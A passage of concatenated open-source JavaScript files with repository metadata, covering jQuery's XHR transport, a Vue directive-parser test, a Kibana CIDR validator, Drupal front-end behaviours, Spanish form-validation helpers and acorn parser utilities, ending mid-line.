return { send: function( headers, complete ) { var i, id, xhr = options.xhr(); xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers["X-Requested-With"] ) { headers["X-Requested-With"] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } // Callback callback = function( type ) { return function() { if ( callback ) { delete xhrCallbacks[ id ]; callback = xhr.onload = xhr.onerror = null; if ( type === "abort" ) { xhr.abort(); } else if ( type === "error" ) { complete( // file protocol always yields status 0, assume 404 xhr.status || 404, xhr.statusText ); } else { complete( xhrSuccessStatus[ xhr.status ] || xhr.status, xhr.statusText, // Support: IE9 // #11426: When requesting binary data, IE9 will throw an exception // on any attempt to access responseText typeof xhr.responseText === "string" ? { text: xhr.responseText } : undefined, xhr.getAllResponseHeaders() ); } } }; }; // Listen to events xhr.onload = callback(); xhr.onerror = callback("error"); // Create the abort callback callback = xhrCallbacks[( id = xhrId++ )] = callback("abort"); // Do send the request // This may raise an exception which is actually // handled in jQuery.ajax (so no try/catch here) xhr.send( options.hasContent && options.data || null ); }, abort: function() { if ( callback ) { callback(); } } }; } }); if ( typeof module === "object" && module && typeof module.exports === "object" ) { // Expose jQuery as module.exports in loaders that implement the Node // module pattern (including browserify). Do not create the global, since // the user will be storing it themselves locally, and globals are frowned // upon in the Node module world. module.exports = jQuery; } else { // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. if ( typeof define === "function" && define.amd ) { define( "jquery", [], function () { return jQuery; } ); } } // If there is a window object, that at least has a document property, // define jQuery and $ identifiers if ( typeof window === "object" && typeof window.document === "object" ) { window.jQuery = window.$ = jQuery; } })( window );
michael829/jquery-builder
dist/2.0.3/jquery-css-deprecated-dimensions-effects-event-alias-offset.js
JavaScript
mit
199,048
var parse = require('../../../../src/parsers/directive').parseDirective describe('Directive Parser', function () { it('simple', function () { var res = parse('exp') expect(res.expression).toBe('exp') }) it('with filters', function () { var res = parse('exp | abc de \'ok\' \'\' 123 | bcd') expect(res.expression).toBe('exp') expect(res.filters.length).toBe(2) expect(res.filters[0].name).toBe('abc') expect(res.filters[0].args.length).toBe(4) expect(res.filters[0].args[0].value).toBe('de') expect(res.filters[0].args[0].dynamic).toBe(true) expect(res.filters[0].args[1].value).toBe('ok') expect(res.filters[0].args[1].dynamic).toBe(false) expect(res.filters[0].args[2].value).toBe('') expect(res.filters[0].args[2].dynamic).toBe(false) expect(res.filters[0].args[3].value).toBe(123) expect(res.filters[0].args[3].dynamic).toBe(false) expect(res.filters[1].name).toBe('bcd') expect(res.filters[1].args).toBeUndefined() }) it('reserved filter args', function () { var res = parse('arr | filterBy a in b') expect(res.expression).toBe('arr') expect(res.filters.length).toBe(1) expect(res.filters[0].args.length).toBe(3) expect(res.filters[0].args[0].value).toBe('a') expect(res.filters[0].args[0].dynamic).toBe(true) expect(res.filters[0].args[1].value).toBe('in') expect(res.filters[0].args[1].dynamic).toBe(false) expect(res.filters[0].args[2].value).toBe('b') expect(res.filters[0].args[2].dynamic).toBe(true) }) it('double pipe', function () { var res = parse('a || b | c') expect(res.expression).toBe('a || b') expect(res.filters.length).toBe(1) expect(res.filters[0].name).toBe('c') expect(res.filters[0].args).toBeUndefined() }) it('single quote + boolean', function () { var res = parse('a ? \'b\' : c') expect(res.expression).toBe('a ? \'b\' : c') expect(res.filters).toBeUndefined() }) it('double quote + boolean', function () { var res = parse('"a:b:c||d|e|f" || d ? a : b') expect(res.expression).toBe('"a:b:c||d|e|f" || d ? a : b') expect(res.filters).toBeUndefined() expect(res.arg).toBeUndefined() }) it('nested function calls + array/object literals', function () { var res = parse('test(c.indexOf(d,f),"e,f")') expect(res.expression).toBe('test(c.indexOf(d,f),"e,f")') }) it('array literal', function () { var res = parse('d || [e,f]') expect(res.expression).toBe('d || [e,f]') expect(res.filters).toBeUndefined() }) it('object literal', function () { var res = parse('{a: 1, b: 2} | p') expect(res.expression).toBe('{a: 1, b: 2}') expect(res.filters.length).toBe(1) expect(res.filters[0].name).toBe('p') expect(res.filters[0].args).toBeUndefined() }) it('escape string', function () { var res = parse("'a\\'b' | test") expect(res.expression).toBe("'a\\'b'") expect(res.filters.length).toBe(1) expect(res.filters[0].name).toBe('test') expect(res.filters[0].args).toBeUndefined() }) it('cache', function () { var res1 = parse('a || b | c') var res2 = parse('a || b | c') expect(res1).toBe(res2) }) })
seedalpha/vue
test/unit/specs/parsers/directive_spec.js
JavaScript
mit
3,198
import _ from 'lodash'; import CidrMask from 'ui/utils/cidr_mask'; import uiModules from 'ui/modules'; uiModules.get('kibana').directive('validateCidrMask', function () { return { restrict: 'A', require: 'ngModel', scope: { 'ngModel': '=' }, link: function ($scope, elem, attr, ngModel) { ngModel.$parsers.unshift(validateCidrMask); ngModel.$formatters.unshift(validateCidrMask); function validateCidrMask(mask) { if (mask == null || mask === '') { ngModel.$setValidity('cidrMaskInput', true); return null; } try { mask = new CidrMask(mask); ngModel.$setValidity('cidrMaskInput', true); return mask.toString(); } catch (e) { ngModel.$setValidity('cidrMaskInput', false); } } } }; });
istresearch/PulseTheme
kibana/src/ui/public/directives/validate_cidr_mask.js
JavaScript
mit
845
(function ($) { /** * Attaches double-click behavior to toggle full path of Krumo elements. */ Drupal.behaviors.devel = { attach: function (context, settings) { // Add hint to footnote $('.krumo-footnote .krumo-call').before('<img style="vertical-align: middle;" title="Click to expand. Double-click to show path." src="' + Drupal.settings.basePath + 'misc/help.png"/>'); var krumo_name = []; var krumo_type = []; function krumo_traverse(el) { krumo_name.push($(el).html()); krumo_type.push($(el).siblings('em').html().match(/\w*/)[0]); if ($(el).closest('.krumo-nest').length > 0) { krumo_traverse($(el).closest('.krumo-nest').prev().find('.krumo-name')); } } $('.krumo-child > div:first-child', context).dblclick( function(e) { if ($(this).find('> .krumo-php-path').length > 0) { // Remove path if shown. $(this).find('> .krumo-php-path').remove(); } else { // Get elements. krumo_traverse($(this).find('> a.krumo-name')); // Create path. var krumo_path_string = ''; for (var i = krumo_name.length - 1; i >= 0; --i) { // Start element. if ((krumo_name.length - 1) == i) krumo_path_string += '$' + krumo_name[i]; if (typeof krumo_name[(i-1)] !== 'undefined') { if (krumo_type[i] == 'Array') { krumo_path_string += "["; if (!/^\d*$/.test(krumo_name[(i-1)])) krumo_path_string += "'"; krumo_path_string += krumo_name[(i-1)]; if (!/^\d*$/.test(krumo_name[(i-1)])) krumo_path_string += "'"; krumo_path_string += "]"; } if (krumo_type[i] == 'Object') krumo_path_string += '->' + krumo_name[(i-1)]; } } $(this).append('<div class="krumo-php-path" style="font-family: Courier, monospace; font-weight: bold;">' + krumo_path_string + '</div>'); // Reset arrays. krumo_name = []; krumo_type = []; } } ); } }; })(jQuery); ;/**/ (function($) { Drupal.admin = Drupal.admin || {}; Drupal.admin.behaviors = Drupal.admin.behaviors || {}; /** * @ingroup admin_behaviors * @{ */ /** * Apply active trail highlighting based on current path. * * @todo Not limited to toolbar; move into core? */ Drupal.admin.behaviors.toolbarActiveTrail = function (context, settings, $adminMenu) { if (settings.admin_menu.toolbar && settings.admin_menu.toolbar.activeTrail) { $adminMenu.find('> div > ul > li > a[href="' + settings.admin_menu.toolbar.activeTrail + '"]').addClass('active-trail'); } }; /** * @} End of "ingroup admin_behaviors". */ Drupal.admin.behaviors.shorcutcollapsed = function (context, settings, $adminMenu) { // Create the dropdown base $("<li class=\"label\"><a>"+Drupal.t('Shortcuts')+"</a></li>").prependTo("body.menu-render-collapsed div.toolbar-shortcuts ul"); } Drupal.admin.behaviors.shorcutselect = function (context, settings, $adminMenu) { // Create the dropdown base $("<select id='shortcut-menu'/>").appendTo("body.menu-render-dropdown div.toolbar-shortcuts"); // Create default option "Select" $("<option />", { "selected" : "selected", "value" : "", "text" : Drupal.t('Shortcuts') }).appendTo("body.menu-render-dropdown div.toolbar-shortcuts select"); // Populate dropdown with menu items $("body.menu-render-dropdown div.toolbar-shortcuts a").each(function() { var el = $(this); $("<option />", { "value" : el.attr("href"), "text" : el.text() }).appendTo("body.menu-render-dropdown div.toolbar-shortcuts select"); }); $("body.menu-render-dropdown div.toolbar-shortcuts select").change(function() { window.location = $(this).find("option:selected").val(); }); $('body.menu-render-dropdown div.toolbar-shortcuts ul').remove(); }; })(jQuery); ;/**/ (function ($) { Drupal.behaviors.textarea = { attach: function (context, settings) { $('.form-textarea-wrapper.resizable', context).once('textarea', function () { var staticOffset = null; var textarea = $(this).addClass('resizable-textarea').find('textarea'); var grippie = $('<div class="grippie"></div>').mousedown(startDrag); grippie.insertAfter(textarea); function startDrag(e) { staticOffset = textarea.height() - e.pageY; textarea.css('opacity', 0.25); $(document).mousemove(performDrag).mouseup(endDrag); return false; } function performDrag(e) { textarea.height(Math.max(32, staticOffset + e.pageY) + 'px'); return false; } function endDrag(e) { $(document).unbind('mousemove', performDrag).unbind('mouseup', endDrag); textarea.css('opacity', 1); } }); } }; })(jQuery); ;/**/ (function ($) { /** * Toggle the visibility of a fieldset using smooth animations. */ Drupal.toggleFieldset = function (fieldset) { var $fieldset = $(fieldset); if ($fieldset.is('.collapsed')) { var $content = $('> .fieldset-wrapper', fieldset).hide(); $fieldset .removeClass('collapsed') .trigger({ type: 'collapsed', value: false }) .find('> legend span.fieldset-legend-prefix').html(Drupal.t('Hide')); $content.slideDown({ duration: 'fast', easing: 'linear', complete: function () { Drupal.collapseScrollIntoView(fieldset); fieldset.animating = false; }, step: function () { // Scroll the fieldset into view. Drupal.collapseScrollIntoView(fieldset); } }); } else { $fieldset.trigger({ type: 'collapsed', value: true }); $('> .fieldset-wrapper', fieldset).slideUp('fast', function () { $fieldset .addClass('collapsed') .find('> legend span.fieldset-legend-prefix').html(Drupal.t('Show')); fieldset.animating = false; }); } }; /** * Scroll a given fieldset into view as much as possible. */ Drupal.collapseScrollIntoView = function (node) { var h = document.documentElement.clientHeight || document.body.clientHeight || 0; var offset = document.documentElement.scrollTop || document.body.scrollTop || 0; var posY = $(node).offset().top; var fudge = 55; if (posY + node.offsetHeight + fudge > h + offset) { if (node.offsetHeight > h) { window.scrollTo(0, posY); } else { window.scrollTo(0, posY + node.offsetHeight - h + fudge); } } }; Drupal.behaviors.collapse = { attach: function (context, settings) { $('fieldset.collapsible', context).once('collapse', function () { var $fieldset = $(this); // Expand fieldset if there are errors inside, or if it contains an // element that is targeted by the URI fragment identifier. var anchor = location.hash && location.hash != '#' ? ', ' + location.hash : ''; if ($fieldset.find('.error' + anchor).length) { $fieldset.removeClass('collapsed'); } var summary = $('<span class="summary"></span>'); $fieldset. bind('summaryUpdated', function () { var text = $.trim($fieldset.drupalGetSummary()); summary.html(text ? ' (' + text + ')' : ''); }) .trigger('summaryUpdated'); // Turn the legend into a clickable link, but retain span.fieldset-legend // for CSS positioning. var $legend = $('> legend .fieldset-legend', this); $('<span class="fieldset-legend-prefix element-invisible"></span>') .append($fieldset.hasClass('collapsed') ? Drupal.t('Show') : Drupal.t('Hide')) .prependTo($legend) .after(' '); // .wrapInner() does not retain bound events. var $link = $('<a class="fieldset-title" href="#"></a>') .prepend($legend.contents()) .appendTo($legend) .click(function () { var fieldset = $fieldset.get(0); // Don't animate multiple times. if (!fieldset.animating) { fieldset.animating = true; Drupal.toggleFieldset(fieldset); } return false; }); $legend.append(summary); }); } }; })(jQuery); ;/**/ (function ($) { /** * A progressbar object. Initialized with the given id. Must be inserted into * the DOM afterwards through progressBar.element. * * method is the function which will perform the HTTP request to get the * progress bar state. Either "GET" or "POST". * * e.g. pb = new progressBar('myProgressBar'); * some_element.appendChild(pb.element); */ Drupal.progressBar = function (id, updateCallback, method, errorCallback) { var pb = this; this.id = id; this.method = method || 'GET'; this.updateCallback = updateCallback; this.errorCallback = errorCallback; // The WAI-ARIA setting aria-live="polite" will announce changes after users // have completed their current activity and not interrupt the screen reader. this.element = $('<div class="progress" aria-live="polite"></div>').attr('id', id); this.element.html('<div class="bar"><div class="filled"></div></div>' + '<div class="percentage"></div>' + '<div class="message">&nbsp;</div>'); }; /** * Set the percentage and status message for the progressbar. */ Drupal.progressBar.prototype.setProgress = function (percentage, message) { if (percentage >= 0 && percentage <= 100) { $('div.filled', this.element).css('width', percentage + '%'); $('div.percentage', this.element).html(percentage + '%'); } $('div.message', this.element).html(message); if (this.updateCallback) { this.updateCallback(percentage, message, this); } }; /** * Start monitoring progress via Ajax. */ Drupal.progressBar.prototype.startMonitoring = function (uri, delay) { this.delay = delay; this.uri = uri; this.sendPing(); }; /** * Stop monitoring progress via Ajax. */ Drupal.progressBar.prototype.stopMonitoring = function () { clearTimeout(this.timer); // This allows monitoring to be stopped from within the callback. this.uri = null; }; /** * Request progress data from server. */ Drupal.progressBar.prototype.sendPing = function () { if (this.timer) { clearTimeout(this.timer); } if (this.uri) { var pb = this; // When doing a post request, you need non-null data. Otherwise a // HTTP 411 or HTTP 406 (with Apache mod_security) error may result. $.ajax({ type: this.method, url: this.uri, data: '', dataType: 'json', success: function (progress) { // Display errors. if (progress.status == 0) { pb.displayError(progress.data); return; } // Update display. pb.setProgress(progress.percentage, progress.message); // Schedule next timer. pb.timer = setTimeout(function () { pb.sendPing(); }, pb.delay); }, error: function (xmlhttp) { pb.displayError(Drupal.ajaxError(xmlhttp, pb.uri)); } }); } }; /** * Display errors on the page. */ Drupal.progressBar.prototype.displayError = function (string) { var error = $('<div class="messages error"></div>').html(string); $(this.element).before(error).hide(); if (this.errorCallback) { this.errorCallback(this); } }; })(jQuery); ;/**/ (function ($) { Drupal.behaviors.tmgmt_oht = { attach: function (context, settings) { var commentSubmitted = $('input:hidden[name=comment_submitted]').val(); if (commentSubmitted == '1') { $('html, body').animate({ scrollTop: $("#edit-oht-comments").offset().top }, 200); } } }; })(jQuery); ;/**/ (function ($) { Drupal.behaviors.colorboxNode = { // Lets find our class name and change our URL to // our defined menu path to open in a colorbox modal. attach: function (context, settings) { // Make sure colorbox exists. if (!$.isFunction($.colorbox)) { return; } // Mobile detection extracted from the colorbox module. // If the mobile setting is turned on, it will turn off the colorbox modal for mobile devices. if (settings.colorbox.mobiledetect && window.matchMedia) { // Disable Colorbox for small screens. mq = window.matchMedia("(max-device-width: " + settings.colorbox.mobiledevicewidth + ")"); if (mq.matches) { return; } } $('.colorbox-node', context).once('init-colorbox-node-processed', function () { $(this).colorboxNode({'launch': false}); }); // When using contextual links and clicking from within the colorbox // we need to close down colorbox when opening the built in overlay. $('ul.contextual-links a', context).once('colorboxNodeContextual').click(function () { $.colorbox.close(); }); } }; // Bind our colorbox node functionality to an anchor $.fn.colorboxNode = function (options) { var settings = { 'launch': true }; $.extend(settings, options); var href = $(this).attr('data-href'); if (typeof href == 'undefined' || href == false) { href = $(this).attr('href'); } // Create an element so we can parse our a URL no matter if its internal or external. var parse = document.createElement('a'); parse.href = href; // Lets add our colorbox link after the base path if necessary. var base_path = Drupal.settings.basePath; var pathname = parse.pathname; // Lets check to see if the pathname has a forward slash. // This problem happens in IE7/IE8 if (pathname.charAt(0) != '/') { pathname = '/' + parse.pathname; } // If clean URL's are not turned on, lets check for that. var url = $.getParameterByName('q', href); if (base_path != '/') { if (url != '') { var link = pathname.replace(base_path, base_path + '?q=colorbox/') + url; } else { console.log('check2'); var link = pathname.replace(base_path, base_path + 'colorbox/') + parse.search; } } else { if (url != '') { var link = base_path + '?q=colorbox' + pathname + url; } else { var link = base_path + 'colorbox' + pathname + parse.search; } } // Bind Ajax behaviors to all items showing the class. var element_settings = {}; // This removes any loading/progress bar on the clicked link // and displays the colorbox loading screen instead. element_settings.progress = { 'type': 'none' }; // For anchor tags, these will go to the target of the anchor rather // than the usual location. if (href) { element_settings.url = link; element_settings.event = 'click'; } $(this).click(function () { $this = $(this).clone(); // Clear out the rel to prevent any confusion if not using the gallery class. if(!$this.hasClass('colorbox-node-gallery')) { $this.attr('rel', ''); } // Lets extract our width and height giving priority to the data attributes. var innerWidth = $this.data('inner-width'); var innerHeight = $this.data('inner-height'); if (typeof innerWidth != 'undefined' && typeof innerHeight != 'undefined') { var params = $.urlDataParams(innerWidth, innerHeight); } else { var params = $.urlParams(href); } params.html = '<div id="colorboxNodeLoading"></div>'; params.onComplete = function () { $this.colorboxNodeGroup(); } params.open = true; // Launch our colorbox with the provided settings $this.colorbox($.extend({}, Drupal.settings.colorbox, params)); }); // Log our click handler to our ajax object var base = $(this).attr('id'); Drupal.ajax[base] = new Drupal.ajax(base, this, element_settings); // Default to auto click for manual call to this function. if (settings.launch) { Drupal.ajax[base].eventResponse(this, 'click'); $(this).click(); } } // Allow for grouping on links to showcase a gallery with left/right arrows. // This function will find the next index of each link on the page by the rel // and manually force a click on the link to call that AJAX and update the // modal window. $.fn.colorboxNodeGroup = function () { // Lets do setup our gallery type of functions. var $this = $(this); var rel = $this.attr('rel'); if(rel && $this.hasClass('colorbox-node-gallery')) { if ($('a.colorbox-node-gallery[rel="' + rel + '"]:not("#colorbox a[rel="' + rel + '"]")').length > 1) { $related = $('a.colorbox-node-gallery[rel="' + rel + '"]:not("#colorbox a[rel="' + rel + '"]")'); // filter $related array by href, to have mutliple colorbox links to the same target // appear as one item in the gallery only var $related_unique = []; $related.each(function() { findHref($related_unique, this.href); if (!findHref($related_unique, this.href).length) { $related_unique.push(this); } }); // we have to get the actual used element from the filtered list in order to get it's relative index var current = findHref($related_unique, $this.get(0).href); $related = $($related_unique); var idx = $related.index($(current)); var tot = $related.length; // Show our gallery buttons $('#cboxPrevious, #cboxNext').show(); $.colorbox.next = function () { index = getIndex(1); $related[index].click(); }; $.colorbox.prev = function () { index = getIndex(-1); $related[index].click(); }; // Setup our current HTML $('#cboxCurrent').html(Drupal.settings.colorbox.current.replace('{current}', idx + 1).replace('{total}', tot)).show(); var prefix = 'colorbox'; // Remove Bindings and re-add // @TODO: There must be a better way? If we don't remove it causes a memory to be exhausted. $(document).unbind('keydown.' + prefix); // Add Key Bindings $(document).bind('keydown.' + prefix, function (e) { var key = e.keyCode; if ($related[1] && !e.altKey) { if (key === 37) { e.preventDefault(); $.colorbox.prev(); } else if (key === 39) { e.preventDefault(); $.colorbox.next(); } } }); } function getIndex(increment) { var max = $related.length; var newIndex = (idx + increment) % max; return (newIndex < 0) ? max + newIndex : newIndex; } // Find a colorbox link by href in an array function findHref(items, href){ return $.grep(items, function(n, i){ return n.href == href; }); }; } } // Utility function to parse out our width/height from our url params $.urlParams = function (url) { var p = {}, e, a = /\+/g, // Regex for replacing addition symbol with a space r = /([^&=]+)=?([^&]*)/g, d = function (s) { return decodeURIComponent(s.replace(a, ' ')); }, q = url.split('?'); while (e = r.exec(q[1])) { e[1] = d(e[1]); e[2] = d(e[2]); switch (e[2].toLowerCase()) { case 'true': case 'yes': e[2] = true; break; case 'false': case 'no': e[2] = false; break; } if (e[1] == 'width') { e[1] = 'innerWidth'; } if (e[1] == 'height') { e[1] = 'innerHeight'; } p[e[1]] = e[2]; } return p; }; // Utility function to return our data attributes for width/height $.urlDataParams = function (innerWidth, innerHeight) { return {'innerWidth':innerWidth,'innerHeight':innerHeight}; }; $.getParameterByName = function(name, href) { name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]"); var regexString = "[\\?&]" + name + "=([^&#]*)"; var regex = new RegExp(regexString); var found = regex.exec(href); if(found == null) return ""; else return decodeURIComponent(found[1].replace(/\+/g, " ")); } })(jQuery); ;/**/
kenorb-contrib/eid
sites/default/files/advagg_js/js__AqGImxoaN0SfOmlKNy2_n5TEv_zySKWBMAj_9kvoAxw__qSjebnQmTngQo1yh-Wy4wAzy5fuaoT8pu8lzebf6D1s__EBWH9cFDDFRncXGTPlGiSfnXM5oTMZR11Ss_cNF_Z5I.js
JavaScript
gpl-2.0
21,721
//-------------------------------------------------------- // Función que valida que no se incluyan comillas simples // en los textos ya que dañana la consulta SQL //-------------------------------------------------------- function ue_validarcomillas(valor) { val = valor.value; longitud = val.length; texto = ""; textocompleto = ""; for(r=0;r<=longitud;r++) { texto = valor.value.substring(r,r+1); if((texto != "'")&&(texto != '"')&&(texto != "\\")) { textocompleto += texto; } } valor.value=textocompleto; } //-------------------------------------------------------- // Función que valida que solo se incluyan números en los textos //-------------------------------------------------------- function ue_validarnumero(valor) { val = valor.value; longitud = val.length; texto = ""; textocompleto = ""; for(r=0;r<=longitud;r++) { texto = valor.value.substring(r,r+1); if((texto=="0")||(texto=="1")||(texto=="2")||(texto=="3")||(texto=="4")||(texto=="5")||(texto=="6")||(texto=="7")||(texto=="8")||(texto=="9")) { textocompleto += texto; } } valor.value=textocompleto; } //-------------------------------------------------------- // Función que valida que el texto no esté vacio //-------------------------------------------------------- function ue_validarvacio(valor) { var texto; while(''+valor.charAt(0)==' ') { valor=valor.substring(1,valor.length) } texto = valor; return texto; } //-------------------------------------------------------- // Función que rellena un campo con ceros a la izquierda //-------------------------------------------------------- function ue_rellenarcampo(valor,maxlon) { var total; var auxiliar; var longitud; var index; total=0; auxiliar=valor.value; longitud=valor.value.length; total=maxlon-longitud; if (total < maxlon) { for (index=0;index<total;index++) { auxiliar="0"+auxiliar; } valor.value = auxiliar; } } //-------------------------------------------------------- // Función que formatea un número //-------------------------------------------------------- function ue_formatonumero(fld, milSep, decSep, e) { var sep = 0; var key = ''; var i = j = 0; var len = len2 = 0; var strCheck = '0123456789'; var aux = aux2 = ''; var whichCode = (window.Event) ? e.which : e.keyCode; if (fld.readOnly==true) return false; if (whichCode == 13) return true; // Enter if (whichCode == 8) return true; // Return if (whichCode == 127) return true; // Suprimir key = String.fromCharCode(whichCode); // Get key value from key code if (strCheck.indexOf(key) == -1) return false; // Not a valid key len = fld.value.length; for(i = 0; i < len; i++) if ((fld.value.charAt(i) != '0') && (fld.value.charAt(i) != decSep)) break; aux = ''; for(; i < len; i++) if (strCheck.indexOf(fld.value.charAt(i))!=-1) aux += fld.value.charAt(i); aux += key; len = aux.length; if (len == 0) fld.value = ''; if (len == 1) fld.value = '0'+ decSep + '0' + aux; if (len == 2) fld.value = '0'+ decSep + aux; if (len > 2) { aux2 = ''; for (j = 0, i = len - 3; i >= 0; i--) { if (j == 3) { aux2 += milSep; j = 0; } aux2 += aux.charAt(i); j++; } fld.value = ''; len2 = aux2.length; for (i = len2 - 1; i >= 0; i--) fld.value += aux2.charAt(i); fld.value += decSep + aux.substr(len - 2, len); } return false; } //-------------------------------------------------------- // Función que verifica que la fecha no tenga letras //-------------------------------------------------------- function ue_validarfecha(valor) { var texto; if ((valor=="dd/mm/aaaa")||(valor=="")||(valor=="01/01/1900")) { texto="1900-01-01"; } else { texto = valor; } return texto; } //-------------------------------------------------------- // Función que valida que solo se incluyan números(1234567890),guiones(-) y Espacios en blanco //-------------------------------------------------------- function ue_validartelefono(valor) { val = valor.value; longitud = val.length; texto = ""; textocompleto = ""; for(r=0;r<=longitud;r++) { texto = valor.value.substring(r,r+1); if((texto=="0")||(texto=="1")||(texto=="2")||(texto=="3")||(texto=="4")||(texto=="5")||(texto=="6")||(texto=="7")|| (texto=="8")||(texto=="9")||(texto=="-")||(texto==" ")||(texto=="(")||(texto==")")) { textocompleto += texto; } } valor.value=textocompleto; } //-------------------------------------------------------- // Función que le da formato a la fecha //-------------------------------------------------------- function ue_formatofecha(d,sep,pat,nums) { if(d.valant != d.value) { val = d.value largo = val.length val = val.split(sep) val2 = '' for(r=0;r<val.length;r++) { val2 += val[r] } if(nums) { for(z=0;z<val2.length;z++) { if(isNaN(val2.charAt(z))) { letra = new RegExp(val2.charAt(z),"g") val2 = val2.replace(letra,"") } } } val = '' val3 = new Array() for(s=0; s<pat.length; s++) { val3[s] = val2.substring(0,pat[s]) val2 = val2.substr(pat[s]) } for(q=0;q<val3.length; q++) { if(q ==0) { val = val3[q] } else { if(val3[q] != "") { val += sep + val3[q] } } } d.value = val d.valant = val } } //-------------------------------------------------------- // Función que valida el correo electrónico //-------------------------------------------------------- function ue_validarcorreo(obj) { //expresion regular var filtro=/^[A-Za-z][A-Za-z0-9_]*@[A-Za-z0-9_]+\.[A-Za-z0-9_.]+[A-za-z]$/; if (obj.length==0) { return true; } else { if(filtro.test(obj)==false) { alert("Email No Válido."); return false; } else { return true; } } } //-------------------------------------------------------- // Función que verifica que la fecha 2 sea mayor que la fecha 1 //-------------------------------------------------------- function ue_comparar_fechas(fecha1,fecha2) { vali=false; dia1 = fecha1.substr(0,2); mes1 = fecha1.substr(3,2); ano1 = fecha1.substr(6,4); dia2 = fecha2.substr(0,2); mes2 = fecha2.substr(3,2); ano2 = fecha2.substr(6,4); if (ano1 < ano2) { vali = true; } else { if (ano1 == ano2) { if (mes1 < mes2) { vali = true; } else { if (mes1 == mes2) { if (dia1 <= dia2) { vali = true; } } } } } return vali; } //-------------------------------------------------------- // Función que Instancia el objeto ajax //-------------------------------------------------------- function objetoAjax() { var xmlhttp=false; try { xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch(E) { xmlhttp = false; } } if(!xmlhttp && typeof XMLHttpRequest!='undefined') { xmlhttp = new XMLHttpRequest(); } return xmlhttp; } //-------------------------------------------------------- // Función que llena unos objeto ocultos para el orden de las consultas de los catálogos //-------------------------------------------------------- function ue_orden(campo) { f=document.formulario; if(f.campoorden.value==campo) { if(f.orden.value=="ASC") { f.orden.value="DESC"; } else { f.orden.value="ASC"; } } else { f.campoorden.value=campo; f.orden.value="ASC"; } ue_search(); } //-------------------------------------------------------- // Función que convierte los montos para poder hacer calculos //-------------------------------------------------------- function ue_formato_calculo(monto) { while(monto.indexOf('.')>0) {//Elimino todos los puntos o separadores de miles monto=monto.replace(".",""); } monto=monto.replace(",","."); return monto; } //-------------------------------------------------------- // Función que actualiza el total de las filas de un campo local //-------------------------------------------------------- function ue_calcular_total_fila_local(campo) { existe=true; li_i=1; while(existe) { existe=document.getElementById(campo+li_i); if(existe!=null) { li_i=li_i+1; } else { existe=false; li_i=li_i-1; } } return li_i } //-------------------------------------------------------- // Función que actualiza el total de las filas de un campo de un pagina opener //-------------------------------------------------------- function ue_calcular_total_fila_opener(campo) { existe=true; li_i=1; while(existe) { existe=opener.document.getElementById(campo+li_i); if(existe!=null) { li_i=li_i+1; } else { existe=false; li_i=li_i-1; } } return li_i } //-------------------------------------------------------- // Función que verifica si la tecla es enter y llama al metodo ue_search de los catálogos //-------------------------------------------------------- function ue_mostrar(myfield,e) { var keycode; if (window.event) keycode = window.event.keyCode; else if (e) keycode = e.which; else return true; if (keycode == 13) { ue_search(); return false; } else return true } //-------------------------------------------------------- // Función que verifica si un campo esta vacio y de ser asi lo mando a ese campo //-------------------------------------------------------- function ue_validarcampo(campo,mensaje,foco) { valido=true; if(campo=="") { alert(mensaje); foco.focus(); valido=false; } return valido; } function redondear(cantidad, decimales) { var cantidad = parseFloat(cantidad); var decimales = parseFloat(decimales); decimales = (!decimales ? 2 : decimales); return Math.round(cantidad * Math.pow(10, decimales)) / Math.pow(10, decimales); } function trim(cadena) { for(i=0; i<cadena.length; ) { if(cadena.charAt(i)==" ") cadena=cadena.substring(i+1, cadena.length); else break; } for(i=cadena.length-1; i>=0; i=cadena.length-1) { if(cadena.charAt(i)==" ") cadena=cadena.substring(0,i); else break; } return cadena; }
omerta/huayra
sep/js/funcion_sep.js
JavaScript
gpl-2.0
10,616
import {types as tt} from "./tokentype" import {Parser} from "./state" import {lineBreak, skipWhiteSpace} from "./whitespace" const pp = Parser.prototype // ## Parser utilities const literal = /^(?:'((?:[^\']|\.)*)'|"((?:[^\"]|\.)*)"|;)/ pp.strictDirective = function(start) { for (;;) { skipWhiteSpace.lastIndex = start start += skipWhiteSpace.exec(this.input)[0].length let match = literal.exec(this.input.slice(start)) if (!match) return false if ((match[1] || match[2]) == "use strict") return true start += match[0].length } } // Predicate that tests whether the next token is of the given // type, and if yes, consumes it as a side effect. pp.eat = function(type) { if (this.type === type) { this.next() return true } else { return false } } // Tests whether parsed token is a contextual keyword. pp.isContextual = function(name) { return this.type === tt.name && this.value === name } // Consumes contextual keyword if possible. pp.eatContextual = function(name) { return this.value === name && this.eat(tt.name) } // Asserts that following token is given contextual keyword. pp.expectContextual = function(name) { if (!this.eatContextual(name)) this.unexpected() } // Test whether a semicolon can be inserted at the current position. pp.canInsertSemicolon = function() { return this.type === tt.eof || this.type === tt.braceR || lineBreak.test(this.input.slice(this.lastTokEnd, this.start)) } pp.insertSemicolon = function() { if (this.canInsertSemicolon()) { if (this.options.onInsertedSemicolon) this.options.onInsertedSemicolon(this.lastTokEnd, this.lastTokEndLoc) return true } } // Consume a semicolon, or, failing that, see if we are allowed to // pretend that there is a semicolon at this position. pp.semicolon = function() { if (!this.eat(tt.semi) && !this.insertSemicolon()) this.unexpected() } pp.afterTrailingComma = function(tokType, notNext) { if (this.type == tokType) { if (this.options.onTrailingComma) this.options.onTrailingComma(this.lastTokStart, this.lastTokStartLoc) if (!notNext) this.next() return true } } // Expect a token of a given type. If found, consume it, otherwise, // raise an unexpected token error. pp.expect = function(type) { this.eat(type) || this.unexpected() } // Raise an unexpected token error. pp.unexpected = function(pos) { this.raise(pos != null ? pos : this.start, "Unexpected 